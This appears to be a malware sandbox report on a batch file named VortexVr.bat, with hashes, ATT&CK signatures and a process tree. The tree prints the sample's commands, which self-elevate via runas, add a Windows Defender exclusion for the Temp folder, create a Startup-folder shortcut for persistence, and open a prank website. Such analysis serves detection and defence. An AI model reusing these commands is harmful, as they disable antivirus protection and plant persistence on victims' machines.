a85f890c291675d2a6352c6068b290d4cc70d82d0f817c5662d83ef6f4f136b5

Analysis

user interaction
yes
max time kernel
15s
max time network
55s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 07:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 4KB
Sample260803-jf2fds1eqb
SHA256 a85f890c291675d2a6352c6068b290d4cc70d82d0f817c5662d83ef6f4f136b5
MD5 8396d14360af4a30a65a63132451389a
SHA1 a3ab710defbe41b02aff782b958b2f14dcb72dbe
SHA512 677951d3eac5bc2e24eee913f8f7096e2c03ccbd0b721b9d8d98d191bd976d971e5e2714863d524ea5e8d9fd01baa941f36e32c63470a32986b3e5d1d8944553
SSDEEP 96:fbC3IDAY/lJ/4DkuhuLhiDQvDs2WpcaDd7uLBpz/ejpz/eWvbhJ:fcIDgDkIdDSDsDp5DdIMpvn
TLSH
T1DBB1EB05B3C5A646C6FE96E98DD37501E24B793206C4CC45F04FA0C727FDA8B71AAC56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1392	powershell.exe
6336	powershell.exe
1904	powershell.exe
4448	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2336	cmd.exe
2040	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
596	chrome.exe
3536	msedge.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4940	powershell.exe
4940	powershell.exe
1392	powershell.exe
1392	powershell.exe
1904	powershell.exe
1904	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeIncreaseQuotaPrivilege	1392	powershell.exe
Token: SeSecurityPrivilege	1392	powershell.exe
Token: SeTakeOwnershipPrivilege	1392	powershell.exe
Token: SeLoadDriverPrivilege	1392	powershell.exe
Token: SeSystemProfilePrivilege	1392	powershell.exe
Token: SeSystemtimePrivilege	1392	powershell.exe
Token: SeProfSingleProcessPrivilege	1392	powershell.exe
Token: SeIncBasePriorityPrivilege	1392	powershell.exe
Token: SeCreatePagefilePrivilege	1392	powershell.exe
Token: SeBackupPrivilege	1392	powershell.exe
Token: SeRestorePrivilege	1392	powershell.exe
Token: SeShutdownPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeSystemEnvironmentPrivilege	1392	powershell.exe
Token: SeRemoteShutdownPrivilege	1392	powershell.exe
Token: SeUndockPrivilege	1392	powershell.exe
Token: SeManageVolumePrivilege	1392	powershell.exe
Token: 33	1392	powershell.exe
Token: 34	1392	powershell.exe
Token: 35	1392	powershell.exe
Token: 36	1392	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 4940	2336	cmd.exe	90
PID 4940 wrote to memory of 2040	4940	powershell.exe	91
PID 2040 wrote to memory of 1392	2040	cmd.exe	93
PID 2040 wrote to memory of 1904	2040	cmd.exe	95
PID 2040 wrote to memory of 5004	2040	cmd.exe	96
PID 2040 wrote to memory of 3804	2040	cmd.exe	97
PID 2040 wrote to memory of 1388	2040	cmd.exe	98
PID 3804 wrote to memory of 688	3804	chrome.exe	99
PID 2040 wrote to memory of 5356	2040	cmd.exe	100
PID 2040 wrote to memory of 1256	2040	cmd.exe	101
PID 5356 wrote to memory of 932	5356	msedge.exe	102

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1904
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:5004
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Suspicious use of WriteProcessMemory
      PID:3804
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x138,0x13c,0x140,0x108,0x144,0x7ffbd619c728,0x7ffbd619c734,0x7ffbd619c740
        5⤵
        
        PID:688
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,8380702174420234875,16659461333759028498,262144 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
        5⤵
        
        PID:3000
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1480,i,6755520489964423221,7831982280169506011,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:596
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2312,i,6243079628949801882,4451752945344556769,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:13
        5⤵
        
        PID:5260
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3224,i,16419265948159926949,16344654059333392198,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
        5⤵
        
        PID:1136
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3228,i,2922788552813739450,17794201168123606045,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:1
        5⤵
        
        PID:4808
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4540,i,12241756553627411652,5891324111027060710,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:14
        5⤵
        
        PID:4856
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4576,i,2348574633458910126,17216663013355593719,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=4564 /prefetch:14
        5⤵
        
        PID:6844
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4620,i,17559408514451725983,14310949564753022477,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:1
        5⤵
        
        PID:6996
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4592,i,6496299681026956813,13333565400582598362,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:1
        5⤵
        
        PID:6992
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5660,i,10545236148399919674,12278835636033799122,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
        5⤵
        
        PID:3388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5864,i,16417642223730156698,6847026206015744934,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:1
        5⤵
        
        PID:7544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4628,i,827646403204154785,18156848452469116187,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:1
        5⤵
        
        PID:7072
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4648,i,13852762906218422280,17180846777973199018,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:1
        5⤵
        
        PID:7080
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=4600,i,15835752804172431555,11401333552298429418,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:1
        5⤵
        
        PID:6252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6032,i,7516992295529778448,7119276038894315325,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
        5⤵
        
        PID:5420
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,2460847714505779697,5340430942331390458,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:14
        5⤵
        
        PID:6284
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4732,i,6016378575337768982,16421638158834873632,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:14
        5⤵
        
        PID:6988
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5492,i,1174996281127400279,5184594048569424254,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=3816 /prefetch:14
        5⤵
        
        PID:4340
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,4056345175408653938,4767469806517993515,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
        5⤵
        
        PID:6752
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5660,i,5021509290433458779,6786142267143146367,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:14
        5⤵
        
        PID:6744
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4568,i,3006570765817790652,9788846144989308862,524288 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:14
        5⤵
        
        PID:4100
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=4588,i,5998941025049302648,4393472643876337879,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:1
        5⤵
        
        PID:7388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5680,i,12607883049118461029,13487336706082986079,2097152 --field-trial-handle=1916,i,14948293074746550293,11770815819323387320,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:9
        5⤵
        
        PID:3576
  - - C:\Windows\system32\where.exe
      where msedge
      4⤵
      PID:1388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Suspicious use of WriteProcessMemory
      PID:5356
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x334,0x7ffbcb50c188,0x7ffbcb50c194,0x7ffbcb50c1a0
        5⤵
        
        PID:932
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,11667528826651406057,1449364629347136674,262144 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:2
        5⤵
        
        PID:1844
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1668,i,15432772048947426737,30109681473037205,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3536
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,17805155447368003228,3494253731192835361,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:13
        5⤵
        
        PID:4476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3568,i,9502411750796656687,17228150678366047934,2097152 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
        5⤵
        
        PID:2776
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3572,i,17136143108600397802,2658891199705019672,2097152 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
        5⤵
        
        PID:2476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,5349922459017431130,3768529760354890217,2097152 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:1
        5⤵
        
        PID:4628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4220,i,1035213091381263793,9259542125439632242,2097152 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:9
        5⤵
        
        PID:4776
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5360,i,11887691210577433251,7665224762068036351,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:14
        5⤵
        
        PID:1820
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5512,i,14407733166070419219,6778609159279345576,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
        5⤵
        
        PID:2896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5508,i,12947710927891048936,12316121300033981973,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
        5⤵
        
        PID:5572
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3716,i,12708977123762199073,3074892193849243904,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:14
        5⤵
        
        PID:6764
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3716,i,12708977123762199073,3074892193849243904,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:14
        5⤵
        
        PID:6796
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6360,i,16945435196157716070,8645050435240606984,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:14
        5⤵
        
        PID:6456
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,14147356368301410146,9352250230377911592,524288 --field-trial-handle=2652,i,15746607047110596034,16805847807037276882,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
        5⤵
        
        PID:7556
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
